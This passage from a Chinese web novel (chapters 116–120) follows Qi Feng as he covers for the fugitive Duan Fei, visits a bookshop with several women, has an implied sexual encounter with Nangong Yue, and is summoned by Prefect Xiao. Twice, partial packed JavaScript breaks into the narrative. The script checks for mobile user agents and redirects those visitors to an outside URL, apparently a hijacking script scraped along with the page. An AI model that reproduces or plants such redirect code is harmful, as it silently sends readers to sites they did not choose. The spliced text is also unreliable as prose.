齐枫摆了摆手,淡淡一笑:“段兄过奖了。本少爷不过是多动了几分脑子罢了。你既已归顺,这些小事,自有本少爷替你安排妥当。你且出去吧,本少爷也得准备准备,免得一会儿小荷和青禾起疑。”
段飞点了点头,目光扫过齐枫,眼中多了几分敬重。
他深吸一口气,抱拳道:“少爷,段某便依你之言行事!日后若有差遣,段某定当赴汤蹈火!”
说罢,他身形一闪,悄无声息地跃向窗外,灰袍在晨光中一晃,很快消失在薄雾之中。
齐枫站在原地,折扇轻敲掌心,嘴角笑意更深。
前世他医武通神,闲来钻研的杂学,如今派上用场,倒也不枉当年的苦心。
没过多久,门外传来一阵轻快的脚步声,小荷清脆的声音响起:“少爷!洗漱的东西准备好了!快出来吧,青禾姐姐还在等着呢!”
齐枫应了一声,推开房门,只见小荷提着一盆清水,手中还拿着布巾,正笑嘻嘻地站在门口。
她将东西放下,歪着头道:“少爷,昨晚你休息得如何?想到袁克良摔得跟破麻袋似的,我到现在还想笑!”
齐枫哈哈一笑,接过布巾擦了擦脸,懒洋洋道:“休息得不错。昨晚那宴会,的确热闹得很,袁克良那跟头摔得怕是府城上下都要传上几天了。”
小荷捂嘴偷笑,点头道:“可不是嘛!他平日里多嚣张,昨儿被段飞一刀打得满地爬,真是大快人心!少爷,你说那段飞真能逃出府城吗?萧大人可是封了城门呢!”
齐枫笑道:“段飞那黑风刀,刀法诡谲,逃命的本事自是不差。不过萧大人也不是吃素的,这场追捕,谁胜谁负,还得看天意。咱们只管看好戏便是。”
小荷点点头,正要再说些什么,房门忽地被推开,楚清秋一袭青衣,面纱遮面,款款走了进来。
她步伐轻盈,眼中却带着几分清冷,刚踏入房间,便眉头微微一皱,鼻翼轻动,似在嗅着什么。
她目光扫过齐枫,悠悠道:“少爷,这房间里……怎有一股淡淡的血腥味?”
第一百一十六章 与美同行
楚清秋的话音刚落,房间内的气氛微微一滞。
小荷闻言,愣了一下,学着楚清秋的样子皱起小鼻子,使劲嗅了嗅,疑惑道:“青禾姐姐,你是不是闻错了?咱们这房间干干净净的,哪来的血腥味呀?少爷昨晚睡得可香了,我都没听见啥动静!”
楚清秋轻轻摇了摇头,面纱下的目光清冷锐利,缓缓道:“小荷,我的鼻子从不会骗我。这房间里的确有股淡淡的血腥味,虽不浓烈,但确实存在。”
她说着,目光转向齐枫,悠悠道:“少爷,你说呢?”
齐枫嘴角勾起一抹懒散的笑意:“青禾,你的鼻子倒是比猎犬还灵。实不相瞒,昨晚本少爷不小心划伤了手臂,流了点血,不过已用药粉处理,伤口都快愈合了。想来是残留了点气味,让你察觉了。”
他一边说着,一边撩起袖子,露出手臂上一道浅浅的红痕,伤口细小,几乎看不出痕迹,显然是随意找的借口。
楚清秋的目光落在那伤痕上,眼中闪过一丝深意,却并未点破,只是静静地与齐枫对视片刻,嘴角微微上扬,露出一抹意味深长的笑意。
“少爷既这么说,青禾便信了。”
“不过少爷日后可得小心些,这手臂若是再划几道,怕是连药粉都救不了你的风流倜傥了。”
齐枫哈哈一笑,挑眉道:“青禾,你这话可有点促狭了。本少爷好歹是春闱榜首,哪能连这点小伤都处理不好?倒是你,今日怎的突然想到要拉本少爷去书肆瞧新书?不会是想借机考考本少爷的才学吧?”
楚清秋轻笑一声,面纱下的眼神多了几分灵动,不再如往日那般冰冷。
她缓步走近,声音清亮如珠落玉盘:“少爷,青禾不过是个小女子,哪敢考你这榜首才子?只是今日府城新进了一批书,青禾想着去瞧瞧,增长些见识。少爷若有兴致,不妨一同前往,也好让青禾沾沾你的才气。”
小荷在一旁捂嘴偷笑,插话道:“青禾姐姐,你这话说得好听!分明是想让少爷陪你逛街,还说得这么文雅!少爷,你可得去,青禾姐姐难得主动一回!”
齐枫挑眉,目光在楚清秋和小荷之间流转,笑道:“好,既然青禾有此雅兴,本少爷自当奉陪。书肆的书,本少爷也有些兴趣。走吧,时候不早了,咱们这就出发。”
小荷闻言,忙不迭地端来清水和布巾,伺候齐枫洗漱。
她动作麻利,手法轻柔,将布巾拧干递给齐枫,笑嘻嘻道:“少爷,你瞧我这伺候得可周到?青禾姐姐都说我是顶顶贴心的小丫头呢!”
齐枫接过布巾,擦了擦脸,戏谑道:“小荷,你这小丫头伺候得确实不错。本少爷瞧着,日后得给你找个好人家,省得你整天在我身边蹦蹦跳跳,晃得本少爷眼晕。”
小荷闻言,脸颊一红,娇羞地跺了跺脚,嘟嘴道:“少爷!你又拿我打趣!人家才不要什么好人家呢,人家就想跟着少爷和青禾姐姐!哼,你要是再乱说,小荷就不给你端水了!”
楚清秋站在一旁,闻言轻笑出声,揶揄道:“小荷这小丫头脸皮薄得跟纸似的,少爷一逗你就脸红。日后若真找了好人家,怕是得羞得钻进地缝里去。”
她顿了顿,目光扫向齐枫,“少爷,你可得悠着点,别把小荷吓跑了,不然谁来伺候你这大少爷?”
齐枫哈哈一笑,佯装正经道:“青禾,你这可是冤枉本少爷了。本少爷不过是关心小荷的终身大事,哪有吓她的道理?小荷,你说是不是?”
小荷红着脸,哼了一声,扭头道:“少爷,青禾姐姐,你们俩就知道合伙欺负我!哼,我不理你们了!”
她说着,却忍不住偷笑,忙碌着收拾洗漱用具,嘴里还嘀咕着,“少爷日后若真给我找人家,起码得找个跟少爷一样风流倜傥的,不然我可不干!”
楚清秋闻言,笑得更欢,眼中多了几分暖意。
她轻声道:“小荷,你这要求可不低。少爷这春闱榜首的风采,府城上下可没几人比得上。你这小丫头,胃口倒是不小。”
三人说笑间,洗漱很快完毕。
齐枫换上一身青衫,折扇轻摇,带着几分书生的儒雅气度。
楚清秋一袭青衣,面纱遮面,气质清冷,小荷蹦蹦跳跳跟在后面,手里提着个小布包,装着几块点心。
她笑嘻嘻道:“少爷,青禾姐姐,书肆路不近,咱们得带点吃的,免得饿肚子!”
齐枫笑道:“你这小丫头什么时候学会操心这些了?行,带上吧,本少爷今日心情好,陪你们逛个痛快。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119431|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>三人正准备出门,客栈大堂内忽地传来一阵清脆的笑声,紧接着,一道红衣身影款款而来,正是云州第一伶柳若雪。
她今日着一身绯红长裙,团扇轻摇,眉眼间尽是风情,步伐轻盈,仿若踏着晨光而来。
柳若雪一见齐枫,眼中闪过一丝亮光,笑眯眯道:“齐公子,青禾姑娘,小荷妹妹,你们这是要出门?若雪来得巧,不如一同同行如何?”
齐枫目光扫过柳若雪,笑道:“柳姑娘来得正好,本少爷正要与青禾去书肆瞧瞧新书。有柳姑娘这云州第一伶同行,今日怕是要引得府城街头热闹非凡了。”
小荷瞪大眼睛,拽着楚清秋的袖子,小声道:“青禾姐姐,柳姑娘怎的又来了?她昨日宴会上那眼神,瞧着就跟要吃少爷似的!”
楚清秋轻笑一声,低声道:“小荷,莫乱说。柳姑娘是云州名伶,找少爷自有她的道理。”
街头巷尾,路人已开始议论纷纷,目光齐齐落在齐枫一行人身上。
“瞧瞧,那不是春闱榜首齐公子吗?连云州第一伶柳若雪都来找他了,这排场,真让人羡慕!”
“可不是嘛!齐公子这榜首之名,府城谁人不知?柳姑娘怕是也心动了,不然怎会一大早就跑来客栈?”
“听说昨日宴会上,柳姑娘对齐公子可是青睐有加,抛了好几个媚眼呢!这齐公子,福气不小啊!”
柳若雪闻言,团扇轻掩半面,朝齐枫抛了个媚眼,柔声道:“齐公子,府城百姓如此热情,你这榜首之名,怕是比若雪这点伶人之名还要响亮。今日同行,齐公子可莫要嫌若雪叨扰。”
齐枫哈哈一笑,风度翩翩道:“柳姑娘言重了。有美人同行,本少爷求之不得,哪会嫌弃?今日书肆之行,有柳姑娘相伴,定是乐趣无穷。”
楚清秋站在一旁,面纱下的嘴角微微上扬,眼中却闪过一丝揶揄,似在看齐枫如何应对这突如其来的“美人缘”。
柳若雪轻笑一声,正要再说些什么,街头忽地传来一阵急促的脚步声,夹杂着兵器碰撞的铿锵声。
众人循声望去,只见袁克良一身锦袍,脸色阴沉,带着一队官兵气势汹汹而来。
他的目光扫过齐枫,眼中闪过一丝怨毒,嘴角却勾起一抹冷笑。
第一百一十七章 又来风波
袁克良目光扫过齐枫一行人,嘴角冷笑更甚。
小荷见状,皱起小鼻子,忍不住嘀咕道:“这袁克良又来找什么麻烦?昨日被段飞打得满地爬,今儿还敢带人来耀武扬威,也不怕再摔个跟头!”
齐枫目光扫过袁克良,笑眯眯道:“袁少爷,昨日那一摔可还疼?本少爷瞧你这气色,伤势怕是好得差不多了吧?”
袁克良脸色一沉,咬牙切齿道:“齐枫,你别太得意!昨日不过是本少爷一时不察,才让那段飞得了手!迟早叫你摔得比我还惨!”
齐枫耸了耸肩,懒洋洋道:“袁少爷这话可没意思。本少爷何曾得意过?不过是关心你的伤势罢了。你今日带这么多人来,不会又是来找本少爷切磋的吧?”
袁克良冷哼一声,眼中闪过一丝阴鸷,沉声道:“本少爷今日来,可不是找你麻烦!那黑风刀段飞昨日身受重伤,定是藏在府城某处客栈。本少爷奉萧大人之命,特来搜查!你们这客栈,怕是得好好查一查!”
小荷气得小脸一红,叉腰道:“袁克良,你什么意思?我们这客栈一直住着我和少爷,青禾姐姐,哪来的什么段飞?你分明就是故意找茬!”
齐枫摆手,示意小荷稍安勿躁:“小荷,莫急。既然袁少爷想查,那就让他查个够。本少爷今日还有要事,要去书肆瞧新书,可没空在这儿陪袁少爷耗着。你们慢慢查,本少爷先行一步了。”
他折扇一合,带着楚清秋,小荷和柳若雪,大摇大摆地从袁克良身旁走过,头也不回地朝街头走去。
袁克良站在原地,望着齐枫的背影,眼中怨毒之色更浓,咬牙低声道:“齐枫,你这嚣张模样,本少爷记下了!迟早让你求生不得,求死不能!”
官兵们面面相觑,不敢多言,只得跟着袁克良的吩咐,在客栈周围搜查起来。
齐枫一行四人朝书肆走去,楚清秋走在齐枫身侧,面纱下的目光微微闪动,低声道:“少爷,咱们就这么走了,若袁克良故意使坏,在你房间里藏些证据,冤枉你与段飞有染,怕是要生出麻烦。”
小荷瞪大眼睛,惊慌道:“对啊,青禾姐姐说得有理!那袁克良心眼坏得很,保不准真会干出这种事!少爷,咱们得防着点!”
齐枫笑眯眯道:“青禾,小荷,你们多虑了。袁克良虽心胸狭窄,但如今萧无痕坐镇府城,他不过是条听命的狗,哪敢擅自栽赃本少爷?再说,他昨日被段飞打得颜面尽失,若真敢在客栈动手脚,萧无痕第一个饶不了他。”
“他的靠山是萧大人,可萧大人要的是真凭实据,不是他袁克良的胡乱猜测。咱们只管去书肆,袁克良那点小伎俩,翻不出什么浪来。”
柳若雪轻笑一声,团扇掩嘴,柔声道:“齐公子果然观察入微,心思缜密。若雪佩服!袁克良那等小人,怕是连齐公子一根手指头都比不上。”
齐枫笑道:“柳姑娘谬赞了。本少爷不过是稍动脑筋罢了。走吧,书肆不远,咱们莫辜负这大好晨光。”
一行人很快来到府城最大的书肆,门前人头攒动,不少才子佳人徘徊其中,或翻阅新书,或低声讨论。
书肆内书香弥漫,木架上摆满了新刊的诗集,杂记,空气中透着一股墨香。
刚踏入书肆,周围便传来一阵窃窃私语,众人目光齐齐落在齐枫身上。
“那不是春闱榜首齐公子吗?听说他昨日宴会上大放异彩,连柳若雪都对他青睐有加!”
“可不是!齐公子的才学,府城无人能及!昨日他与柳姑娘的才艺对答,传得沸沸扬扬,简直天作之合!”
“瞧他那风度,折扇轻摇真是风流倜傥!难怪连云州第一伶都主动来找他!”
小荷听到这些议论,眼睛亮晶晶的,拽着齐枫的袖子,兴奋道:“少爷,你听!他们都在夸你呢!说你是府城第一才子,连柳姑娘都为你倾心!小荷听着都替你开心!”
齐枫哈
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哈一笑,折扇轻敲小荷的额头,戏谑道:“小荷,你这小丫头,耳朵倒挺尖,这些虚名,不过是浮云罢了,本少爷可没放在心上。”
小荷吐了吐舌头,笑嘻嘻道:“少爷,你就别谦虚了!府城上下,谁不知道你齐公子的名号?瞧这架势,怕是比青禾姐姐和柳姑娘加起来还热闹呢!”
话音刚落,人群中忽地传来一声惊呼:“看!那就是齐公子!”
一个身着鹅黄长裙的女子指着齐枫,眼中满是激动。
紧接着,书肆内的才子佳人纷纷围了上来,七嘴八舌地开口:
“齐公子!久闻您才学过人,能否为小女子题首诗留念?”
“齐公子,听说您昨日宴会上力压群雄,可否赐教一二?”
“齐公子!您这折扇上的字迹,定是出自名家吧?能否让小生一观?”
齐枫被围在中间,折扇轻摇,脸上笑意不减,却也有些无奈。
他试图应对几句,却发现人群越聚越多,声音嘈杂,书肆内几乎乱成一团。
楚清秋,小荷和柳若雪三人被挤到人群外,小荷撅着嘴,嘀咕道:“这些人都疯了!少爷不过是来看书,怎的就被围成这样了?再挤下去,少爷怕是要被他们挤扁了!”
柳若雪轻笑一声,柔声道:“小荷妹妹,齐公子的名头如今响彻府城,被人追捧也在情理之中。看来若雪这云州第一伶的名号,今日倒要被齐公子盖过去了。”
楚清秋站在一旁,揶揄道:“柳姑娘说得是,齐公子这风采,怕是连书肆的书都要自愧不如了。咱们这些女子,今日只能靠边站了。”
小荷哼了一声,跑去一旁翻看书架上的诗集,嘴里嘀咕着:“少爷这魅力也太大了!早知道就不该带他来书肆,瞧这架势,怕是连书都看不成了!我还是自己找本诗集瞧瞧,省得在这儿看少爷被围!”
楚清秋和柳若雪相视一笑,缓步走到书肆一角,找了个僻静处坐下。
第一百一十八章 女帝的心意
四周的喧嚣渐渐远去,木架上的书卷散发着淡淡墨香,角落里安静得仿佛与外界的热闹隔绝。
柳若雪目光扫过楚清秋,非常小声道:“殿下,若雪观齐公子这人,的确是个人才。才学,胆识,心机,无一不缺。殿下既与他结识,可曾想过将他拉拢过来,为己所用?”
楚清秋闻言,轻轻摇了摇头,缓缓道:“齐枫虽是人才,但毕竟是景国中人。无论他言辞如何巧妙,在事情尚未明朗之前,还是不宜太过相信。”
柳若雪眼中闪过一丝深意,柔声道:“殿下说得有理。齐公子虽风采过人,但府城如今风波不断,谨慎些总是好的。”
她顿了顿,目光扫向被人群围住的齐枫,嘴角笑意更深。
这齐枫,果真不简单,殿下对他如此关心,明显有意。
她能听得出来,楚清秋表面上说是不相信齐枫,实际上是害怕齐枫卷入其中会有危险。
齐枫被才子佳人们团团围住,应对着众人的追捧,时而题字,时而应答,谈笑间风度翩翩,引得周围一片惊叹。
几个大胆的女子甚至趁乱在他脸上留下了几抹口红印,惹得人群中一阵哄笑。
齐枫无奈地笑着,半是戏谑半是自嘲道:“诸位,诸位,本少爷不过是来看书,怎的被你们弄得跟戏台上的角儿似的?”
好不容易摆脱人群,齐枫挤出重围,回到楚清秋等人所在的角落。
小荷一见他,瞪大眼睛,指着齐枫脸上的口红印,噗嗤一笑:“少爷,你这是怎么回事?怎的又顶着满脸花花绿绿回来了?瞧瞧,这口红印,怕是有七八个吧!”
齐枫摸了摸脸,感受到指尖的脂粉痕迹,哈哈一笑:“小荷,这能怪本少爷吗?谁让本少爷风流倜傥,深受佳人青睐?没办法,这张脸太受欢迎了!”
小荷捂嘴偷笑,挤眉弄眼地看向楚清秋,调侃道:“少爷,你这满脸口红,青禾姐姐瞧见了可不会生气?她可是咱们的大管家,发起火来,少爷你可得小心喽!”
楚清秋闻言,瞪了小荷一眼,面纱下的脸颊微微泛红,佯装嗔怒道:“小荷,你这小丫头,胡说什么?我与少爷不过主仆之谊,哪来的生气一说?”
柳若雪站在一旁,目光在楚清秋脸上扫过,眼中闪过一丝惊讶。
陛下往日清冷高傲,从未有过如此小女儿姿态,今日面对齐枫,竟会脸红?莫非……陛下真对这齐枫动了那方面的心思?
想到此处,她心头一跳,生出一个大胆猜测,嘴角笑意更深,却并未点破。
齐枫目光扫过楚清秋,脸上笑意更浓,一脸认真道:“青禾,你这话可太让人伤心了。本少爷可从没把你只当成婢女。你这聪慧模样,哪个敢小瞧?再说,本少爷身边若没你这大管家,怕是早就乱了套了!”
小荷闻言,笑得更欢,拍手道:“少爷,你这话说得好听!那你说,你到底把青禾姐姐当什么?”
齐枫折扇一展,笑眯眯道:“自然是朋友!青禾这样的人才,本少爷怎会只当她是婢女?她可是本少爷的左膀右臂,缺一不可!”
楚清秋闻言,轻轻摸了摸小荷的脑袋,嗔道:“小荷,你这小脑袋瓜,整天都在想些什么乱七八糟的?”
她语气轻柔,眼中却闪过一丝复杂的情绪,似乎是听到“朋友”二字,心中微微一沉,泛起一抹莫名的失落。
小荷吐了吐舌头,笑嘻嘻道:“青禾姐姐,少爷都说你是朋友了,你还不满意?要我说,少爷这人最会哄人,青禾姐姐可得看紧点,别让他被那些莺莺燕燕给拐跑了!”
柳若雪轻笑一声:“小荷妹妹说得是。齐公子这风采,怕是府城女子都难挡。青禾姑娘若不看紧些,怕是日后要多几个姐妹了。”
楚清秋哼了一声,面纱下的脸颊又红了几分,瞪了柳若雪一眼,低声道:“柳姑娘,你也跟着小荷胡闹?齐公子的事,自有他自己操心,我一个婢女,哪管得了那么多?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119433|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>齐枫哈哈一笑,摆手道:“好了好了,你们三个别在这儿打趣了。时候不早,书肆也逛得差不多了,咱们找个地方吃点东西吧,省得小荷这小丫头饿得叫唤。”
小荷拍手道:“好!少爷,咱们去醉月楼吧!那儿菜好吃,离得也不远!”
正说着,街头忽地传来一阵急促的脚步声,一个身着碧绿衣裙的婢女快步走来。
小荷一眼认出,这是醉月楼南宫月身边的贴身婢女碧儿。
碧儿气喘吁吁地来到齐枫等人面前,福了一礼,恭声道:“齐公子,青禾姑娘,小荷妹妹,我家小姐听闻几位今日在书肆,特意命奴婢来请,邀齐公子一行人去醉月楼共进午餐。”
齐枫挑眉,笑道:“南宫姑娘倒是好兴致。既如此,本少爷等人正要吃饭,便去叨扰一番。碧儿,带路吧。”
碧儿点头,引着齐枫,楚清秋,小荷和柳若雪朝醉月楼走去。
刚到楼前,便见南宫月一袭月白长裙,站在门口相迎。
她眉眼如画,气质温婉,见到齐枫等人,浅浅一笑,迎上前道:“齐公子,青禾姑娘,小荷妹妹,柳姑娘,月儿有礼了。今日得见诸位,实乃幸事。”
柳若雪团扇轻摇,回礼道:“南宫姑娘客气了。若雪久闻醉月楼南宫姑娘才貌双全,今日一见,果然名不虚传。”
南宫月轻笑,谦逊道:“柳姑娘谬赞了。云州第一伶的名头响彻府城,月儿这点微末名声,与柳姑娘相比,实在算不得什么。”
柳若雪掩嘴一笑,柔声道:“南宫姑娘太谦虚了。醉月楼的名声,府城上下谁人不知?今日能与南宫姑娘同席,若雪真是三生有幸。”
两人客套一番,气氛融洽。
齐枫站在一旁,笑道:“两位姑娘不必如此谦让。今日既是南宫姑娘盛情相邀,本少爷等人便厚颜叨扰了。走吧,肚子都饿了,莫辜负了这好菜。”
南宫月轻笑,引着众人步入醉月楼一间雅致的包厢。
第一百一十九章 吃醋了
包厢内檀香袅袅,桌上已摆好一桌精致菜肴,色香味俱全,令人垂涎。
小荷一见,眼睛都亮了,拍手道:“哇!南宫姐姐,这菜看着就让人流口水!少爷,咱们快坐下吃吧!”
众人落座,南宫月举杯,微笑道:“齐公子,柳姑娘,青禾姑娘,小荷妹妹,今日这桌酒菜,是月儿的一点心意,聊表谢意。齐公子才学过人,昨日宴会上的风采,月儿实在佩服。”
齐枫哈哈一笑,举杯回敬:“南宫姑娘客气了,昨日不过是一时兴起,哪有什么风采?倒是醉月楼的菜肴,名不虚传,本少爷今日可要大快朵颐了。”
小荷夹了一块桂花糕,边吃边道:“南宫姐姐,你这酒楼的菜真好吃!比咱们客栈的厨子强多了!”
齐枫挑眉道:“小荷,你这小丫头,嘴上抹了蜜吧?当着南宫姑娘的面,贬咱们客栈的厨子,小心回去人家不给你做饭吃了。”
小荷吐了吐舌头,笑嘻嘻道:“少爷,我这不是实话实说嘛!南宫姐姐,你别介意啊,我就是嘴馋,觉得这菜太好吃了!”
南宫月轻笑,温声道:“小荷妹妹喜欢就好,醉月楼的厨子,是从外地重金请来的,擅做江南菜系,几位若喜欢,改日月儿亲自下厨,为诸位添一道菜。”
柳若雪柔声道:“南宫姑娘如此盛情,若雪真是感动。听闻醉月楼不仅菜肴精致,歌舞也是一绝,改日若有机会,定要来欣赏一番。”
众人说笑间,酒菜渐尽,气氛愈发融洽。
南宫月与柳若雪聊起府城的风土人情,言语间尽显才女风范。
小荷则专心对付桌上的点心,不时插几句嘴,惹得众人发笑。
齐枫时而应对几句时而静静聆听,眼中笑意不减。
酒足饭饱,南宫月放下筷子,目光落在齐枫身上,温声道:“齐公子,月儿近日偶感头痛,颇为困扰。听小荷妹妹提起,齐公子似乎颇通医术,不知可否为月儿诊治一二?”
齐枫挑眉,笑道:“南宫姑娘抬举了。本少爷不过略懂些医理,既然姑娘有此需求,本少爷自当尽力。走吧,咱们去厢房,安静些,也好为姑娘仔细诊治。”
南宫月点头,起身道:“有劳齐公子了。请随月儿来。”
齐枫站起身,折扇一合,朝楚清秋等人点了点头,跟着南宫月朝厢房走去。
门刚一关上,南宫月便转过身,月白长裙轻曳,似一朵盛开的白莲,带着几分娇媚猛地扑进齐枫怀中,纤臂环住他的腰,娇声细语。
“齐郎,你身边如今佳人环绕,连云州第一伶柳若雪都对你青睐有加,月儿瞧着,真是心慌得很。怕是再过几日,月儿在你心中,可就要变得可有可无了!”
她抬头看向齐枫,眼中水光盈盈,带着几分撒娇的意味,唇角却微微上扬,透着一丝俏皮,仿若一株带露的娇花,惹人怜爱。
齐枫哈哈一笑,轻轻刮了下南宫月的鼻尖,笑眯眯道:“月儿,你这是吃醋了?本少爷身边佳人再多,哪能比得上你这醉月楼的掌上明珠?柳若雪不过是同行罢了,你这小脑袋瓜,怎的就想这么多?莫不是本少爷平日里太冷落你了?”
南宫月哼了一声,脸颊微红,佯装嗔怒道:“齐郎,你还笑话我!谁让你生得这般招人喜欢?府城上下,哪个女子不为你倾心?月儿可是听说,今日你又惹了一堆莺莺燕燕,还有个个都说你风流倜傥,配得上云州第一伶,今日她又主动来找你,月儿这心里,酸得跟泡了醋坛子似的,怎能不吃醋?”
齐枫目光扫过南宫月那娇艳欲滴的模样,戏谑道:“哟,月儿这醋坛子打翻了,味道可真不小!不过,本少爷瞧着,你这吃醋的模样,倒比平日里更招人疼了。来,让本少爷好好安慰安慰你,省得你整日胡思乱想,误了你这醉月楼花魁的美貌。”
南宫月闻言,脸颊更红,轻轻推了齐枫一把,娇嗔道:“齐郎,
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你就会嘴上抹蜜!这话说得好听,可谁知道你心里是怎么想的?月儿可警告你,身边那些莺莺燕燕,你可得看紧了,别让她们把你抢走,不然月儿可不依!”
齐枫哈哈一笑,伸手将南宫月拉近几分:“月儿放心,本少爷的心,早就被你这小妖精勾去了,哪还有空容下别人?你若不信,本少爷这就证明给你看。”
他话音未落,轻轻挑起南宫月的下巴,缓缓低头,吻上她那柔软的唇瓣。
南宫月先是一愣,随即闭上双眼,纤手攀上齐枫的肩膀回应。
厢房内檀香袅袅,窗外阳光透过纱帘洒下,映得两人身影交叠,气氛渐渐升温。
南宫月低吟一声,脸颊红得似要滴血,娇声道:“齐郎,你这坏人,总是这样欺负月儿……”
她话未说完,齐枫已将她横抱而起,走向厢房内侧的软榻,笑眯眯道:“月儿,这可不叫欺负,这叫疼你。今日既是你请本少爷来,本少爷自当好好回报你的盛情,免得你说本少爷薄情。”
南宫月轻哼一声,眼中却满是笑意,纤手勾住齐枫的脖颈,柔声道:“齐郎,月儿可算是栽在你手里了。罢了罢了,月儿认命,谁让你是府城第一才子,月儿这颗心,早就被你偷走了。”
两人相视一笑,情意绵绵间,衣衫渐褪,软榻上的纱帐轻轻垂下,遮住了一室春光。
厢房内,唯有低低的呢喃与喘息声,似巫山云雨,缠绵悱恻。
纱帐轻晃,阳光透过窗纱,洒下斑驳光影,映得室内一片旖旎。
一番云雨过后,南宫月慵懒地倚在齐枫怀中,月白长裙凌乱地散在榻边,乌发披散,脸颊上仍带着一抹未褪的红晕。
她纤手轻轻画着齐枫的胸膛,柔声道:“齐郎,你说月儿是不是太贪心了?总想把你绑在身边,片刻都不愿放开,生怕哪天你被旁人抢了去。”
说着,她微微撇嘴,红唇娇艳欲滴,勾的人心火大动!
第一百二十章 勾结
齐枫笑道:“月儿,你这小妖精,贪心点才好。本少爷就喜欢你这副黏人的模样。放心,这府城上下,能让本少爷动心的,也只有你一个。那些莺莺燕燕,哪有你半分灵动?”
南宫月闻言,心中一甜,抬头吻了吻齐枫的下巴,娇声道:“齐郎,你这话可得记住了。月儿可是把心都给了你。”
齐枫哈哈一笑,捏了捏她的脸颊,戏谑道:“月儿放心。”
南宫月轻笑,窝在齐枫怀中,眼中满是柔情,低声道:“齐郎,月儿有时候真觉得,你这人太招人喜欢了,偏又生得一副好心机,府城这些风波,月儿瞧着,总觉得你心里藏着不少秘密。月儿也不问,只盼着日后,你能多疼月儿几分。”
齐枫低头在她额上轻吻一口,笑道:“月儿,你这是在试探本少爷?放心,本少爷的秘密,迟早会告诉你。至于疼你,本少爷可从没少过,今日这厢房一会,不就是最好的证明?”
南宫月脸颊一红,轻轻捶了齐枫胸口,娇嗔道:“齐郎,你这坏人,尽说些让人脸红的话!月儿不依了!”
她说着,却是依偎得更紧了几分。
两人正浓情蜜意间,门外忽地传来小荷清脆的声音:“少爷!少爷!萧大人派人来了,说有要事找你,快出来吧!”
齐枫闻言,目光微微一闪:“月儿,萧大人既派人来,怕是有要事。你且稍作整理,本少爷先去应酬一番,回头再来疼你。”
南宫月娇嗔道:“齐郎,萧大人亲自派人来,定然不简单,你小心些。”
齐枫哈哈一笑,捏了捏南宫月的脸颊:“月儿放心,等着本少爷回来。”
南宫月白了他一眼,柔声道:“去吧去吧,月儿在这儿等着你。记住,别让那些莺莺燕燕又给你脸上抹口红,月儿可不想再吃醋了!”
齐枫折扇一展,笑着推门而出。
小荷正站在门外,见齐枫出来,忙道:“少爷,萧大人派来的人还在楼下等着呢!柳姑娘已经先回去了,咱们赶紧过去吧,别耽误了大事。”
齐枫点了点头,目光扫过小荷:“小荷,你这小丫头,跑来喊本少爷的时候,怎的不敲门?莫不是偷听了什么?”
小荷脸一红,跺脚道:“少爷!你又拿我打趣!人家哪有偷听?是萧大人派的人催得急,我才跑来的!快走吧,青禾姐姐还等着呢!”
齐枫哈哈一笑,带着小荷下了醉月楼。
楼外,楚清秋已站在一辆马车旁,见齐枫出来,她淡淡道:“少爷,萧大人派人来,怕是不简单。咱们这就去知府府邸?”
齐枫点了点头道:“自然要去。萧大人亲自相邀,本少爷若不去,怕是要被说成不识抬举了。走吧,小荷,青禾,上车。”
三人登上马车,马车辚辚而行,穿过府城热闹的街道,朝知府府邸而去。
车内,小荷忍不住道:“少爷,萧大人这时候找你,八成跟段飞的事有关,你说,那黑风刀真会藏在咱们客栈吗?袁克良那家伙,今天还带人来搜查,摆明了想找茬!”
楚清秋闻言,目光微微一闪:“少爷,段飞之事,府城如今风声鹤唳。萧大人找你,怕是想试探一二。少爷可得谨慎应对,莫要露出破绽。”
齐枫挑眉,笑眯眯道:“放心,本少爷自有分寸,萧无痕那狐狸,想从我这儿套话,可没那么容易。你们只管安心,瞧本少爷如何应对便是。”
马车很快停在知府府邸门前。
府邸气派恢宏,门前两尊石狮威严肃穆,门口的卫兵**而立,目光锐利。
齐枫带着楚清秋和小荷下车,通报姓名后,管家恭敬地引着三人步入正厅。
正厅内,萧无痕一身官袍,端坐主位,气势沉稳,目光如鹰。
身旁,卢正淳一袭青衫,手持折扇,脸上带着和煦的笑意。
赵明德则坐在一旁,也笑眯眯的看向齐枫。
齐枫踏入厅
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内,折扇一展,拱手道:“萧大人,卢大人,赵大人,齐某有礼了。今日蒙萧大人相邀,不知有何要事?”
萧无痕目光扫过齐枫,缓缓道:“齐公子不必多礼。本官今日请你来,是想商议一桩要事。坐下说话吧。”
齐枫笑着落座,楚清秋和小荷站在他身后。
赵明德轻笑一声:“齐贤弟来得正好,萧大人正与我们商议府城大事,少了你这春闱榜首,怕是少了些趣味。”
卢正淳哈哈一笑,接话道:“赵大人说得是。齐公子的才学,府城无人不知,今日这议事,有你加入,定能事半功倍。”
齐枫挑眉,笑眯眯道:“诸位谬赞了。齐某不过一介书生,哪敢当此大任?萧大人若有何事,尽管直言,齐某洗耳恭听。”
萧无痕目光一闪,沉声道:“齐公子快人快语,本官也不绕圈子了。今日找你来,是为那黑风刀段飞之事,段飞昨日在宴会上大闹一场,身受重伤,如今却踪迹全无。本官已下令封锁城门,可至今未有线索。”
齐枫闻言,脸上笑意不减,淡淡道:“萧大人,段飞之事,齐某不过一介书生,平日里只知舞文弄墨,对这江湖恩怨,实在知之甚少。萧大人找我商议段飞之事,怕是找错人了吧?”
萧无痕目光微眯,缓缓道:“齐公子谦虚了。你虽是书生,可这府城上下,谁不知你才智过人?段飞昨日在宴会上大闹,伤了袁克良后逃遁,本官怀疑,他定有同党在府城接应,否则以他的伤势,断无可能逃出封锁!”
